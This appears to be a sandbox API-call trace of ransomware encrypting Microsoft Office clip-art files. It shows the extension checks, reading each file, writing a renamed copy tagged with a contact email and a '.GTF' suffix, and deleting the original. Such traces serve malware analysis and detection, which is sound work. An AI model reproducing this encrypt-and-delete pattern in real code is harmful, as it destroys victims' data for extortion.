	[0168.769] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.769] lstrlenW (lpString=".ppt") returned 4
	[0168.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.769] lstrlenW (lpString=".zip") returned 4
	[0168.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.769] lstrlenW (lpString=".rar") returned 4
	[0168.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.769] lstrlenW (lpString=".bz2") returned 4
	[0168.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.769] lstrlenW (lpString=".7z") returned 3
	[0168.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.769] lstrlenW (lpString=".dbf") returned 4
	[0168.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.769] lstrlenW (lpString=".1cd") returned 4
	[0168.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.769] lstrlenW (lpString=".jpg") returned 4
	[0168.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.769] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.769] lstrlenW (lpString="J0107266.WMF") returned 12
	[0168.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0168.770] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5868) returned 1
	[0168.770] CloseHandle (hObject=0x45c) returned 1
	[0168.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 0x220
	[0168.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0168.771] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.771] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0168.771] GetLastError () returned 0x0
	[0168.771] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x16ec, lpOverlapped=0x0) returned 1
	[0168.773] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x16f0, lpOverlapped=0x0) returned 1
	[0168.774] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.774] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.774] SetEndOfFile (hFile=0x550) returned 1
	[0168.774] CloseHandle (hObject=0x550) returned 1
	[0168.774] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.775] SetEndOfFile (hFile=0x45c) returned 1
	[0168.778] CloseHandle (hObject=0x45c) returned 1
	[0168.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 1
	[0168.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.779] lstrlenW (lpString=".doc") returned 4
	[0168.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.779] lstrlenW (lpString=".docx") returned 5
	[0168.779] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0168.779] lstrlenW (lpString=".pdf") returned 4
	[0168.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.779] lstrlenW (lpString=".xls") returned 4
	[0168.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.779] lstrlenW (lpString=".xlsx") returned 5
	[0168.779] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0168.779] lstrlenW (lpString=".ppt") returned 4
	[0168.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.779] lstrlenW (lpString=".zip") returned 4
	[0168.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.780] lstrlenW (lpString=".rar") returned 4
	[0168.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.780] lstrlenW (lpString=".bz2") returned 4
	[0168.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.780] lstrlenW (lpString=".7z") returned 3
	[0168.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.780] lstrlenW (lpString=".dbf") returned 4
	[0168.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.780] lstrlenW (lpString=".1cd") returned 4
	[0168.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.780] lstrlenW (lpString=".jpg") returned 4
	[0168.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.780] lstrlenW (lpString=".doc") returned 4
	[0168.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.780] lstrlenW (lpString=".docx") returned 5
	[0168.780] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0168.780] lstrlenW (lpString=".pdf") returned 4
	[0168.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.780] lstrlenW (lpString=".xls") returned 4
	[0168.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.780] lstrlenW (lpString=".xlsx") returned 5
	[0168.780] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0168.780] lstrlenW (lpString=".ppt") returned 4
	[0168.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.780] lstrlenW (lpString=".zip") returned 4
	[0168.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.780] lstrlenW (lpString=".rar") returned 4
	[0168.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.781] lstrlenW (lpString=".bz2") returned 4
	[0168.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.781] lstrlenW (lpString=".7z") returned 3
	[0168.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.781] lstrlenW (lpString=".dbf") returned 4
	[0168.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.781] lstrlenW (lpString=".1cd") returned 4
	[0168.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0168.781] lstrlenW (lpString=".jpg") returned 4
	[0168.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.781] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.781] lstrlenW (lpString="J0107280.WMF") returned 12
	[0168.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0168.782] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11108) returned 1
	[0168.782] CloseHandle (hObject=0x45c) returned 1
	[0168.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 0x220
	[0168.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0168.782] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.782] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0168.783] GetLastError () returned 0x0
	[0168.783] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2b64, lpOverlapped=0x0) returned 1
	[0168.785] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2b70, lpOverlapped=0x0) returned 1
	[0168.786] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.786] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.786] SetEndOfFile (hFile=0x550) returned 1
	[0168.786] CloseHandle (hObject=0x550) returned 1
	[0168.786] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.786] SetEndOfFile (hFile=0x45c) returned 1
	[0168.789] CloseHandle (hObject=0x45c) returned 1
	[0168.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1
	[0168.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.790] lstrlenW (lpString=".doc") returned 4
	[0168.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.790] lstrlenW (lpString=".docx") returned 5
	[0168.790] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.790] lstrlenW (lpString=".pdf") returned 4
	[0168.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.790] lstrlenW (lpString=".xls") returned 4
	[0168.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.790] lstrlenW (lpString=".xlsx") returned 5
	[0168.790] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.790] lstrlenW (lpString=".ppt") returned 4
	[0168.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.790] lstrlenW (lpString=".zip") returned 4
	[0168.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.790] lstrlenW (lpString=".rar") returned 4
	[0168.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.791] lstrlenW (lpString=".bz2") returned 4
	[0168.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.791] lstrlenW (lpString=".7z") returned 3
	[0168.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.791] lstrlenW (lpString=".dbf") returned 4
	[0168.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.791] lstrlenW (lpString=".1cd") returned 4
	[0168.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.791] lstrlenW (lpString=".jpg") returned 4
	[0168.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.791] lstrlenW (lpString=".doc") returned 4
	[0168.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.791] lstrlenW (lpString=".docx") returned 5
	[0168.791] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0168.791] lstrlenW (lpString=".pdf") returned 4
	[0168.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.791] lstrlenW (lpString=".xls") returned 4
	[0168.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.791] lstrlenW (lpString=".xlsx") returned 5
	[0168.791] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0168.791] lstrlenW (lpString=".ppt") returned 4
	[0168.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.791] lstrlenW (lpString=".zip") returned 4
	[0168.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.835] lstrlenW (lpString=".rar") returned 4
	[0168.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.835] lstrlenW (lpString=".bz2") returned 4
	[0168.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.835] lstrlenW (lpString=".7z") returned 3
	[0168.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.835] lstrlenW (lpString=".dbf") returned 4
	[0168.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.835] lstrlenW (lpString=".1cd") returned 4
	[0168.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0168.835] lstrlenW (lpString=".jpg") returned 4
	[0168.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.835] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.835] lstrlenW (lpString="J0107282.WMF") returned 12
	[0168.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0168.836] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=14132) returned 1
	[0168.836] CloseHandle (hObject=0x45c) returned 1
	[0168.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 0x220
	[0168.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0168.837] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.837] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0168.838] GetLastError () returned 0x0
	[0168.838] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x3734, lpOverlapped=0x0) returned 1
	[0169.043] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x3740, lpOverlapped=0x0) returned 1
	[0169.044] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.044] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.044] SetEndOfFile (hFile=0x550) returned 1
	[0169.044] CloseHandle (hObject=0x550) returned 1
	[0169.044] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.044] SetEndOfFile (hFile=0x45c) returned 1
	[0169.047] CloseHandle (hObject=0x45c) returned 1
	[0169.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1
	[0169.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.048] lstrlenW (lpString=".doc") returned 4
	[0169.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.048] lstrlenW (lpString=".docx") returned 5
	[0169.048] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.048] lstrlenW (lpString=".pdf") returned 4
	[0169.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.048] lstrlenW (lpString=".xls") returned 4
	[0169.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.048] lstrlenW (lpString=".xlsx") returned 5
	[0169.048] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.049] lstrlenW (lpString=".ppt") returned 4
	[0169.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.049] lstrlenW (lpString=".zip") returned 4
	[0169.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.049] lstrlenW (lpString=".rar") returned 4
	[0169.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.049] lstrlenW (lpString=".bz2") returned 4
	[0169.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.049] lstrlenW (lpString=".7z") returned 3
	[0169.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.049] lstrlenW (lpString=".dbf") returned 4
	[0169.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.049] lstrlenW (lpString=".1cd") returned 4
	[0169.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.049] lstrlenW (lpString=".jpg") returned 4
	[0169.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0169.049] lstrlenW (lpString=".doc") returned 4
	[0169.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.049] lstrlenW (lpString=".docx") returned 5
	[0169.049] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.049] lstrlenW (lpString=".pdf") returned 4
	[0169.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.049] lstrlenW (lpString=".xls") returned 4
	[0169.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.049] lstrlenW (lpString=".xlsx") returned 5
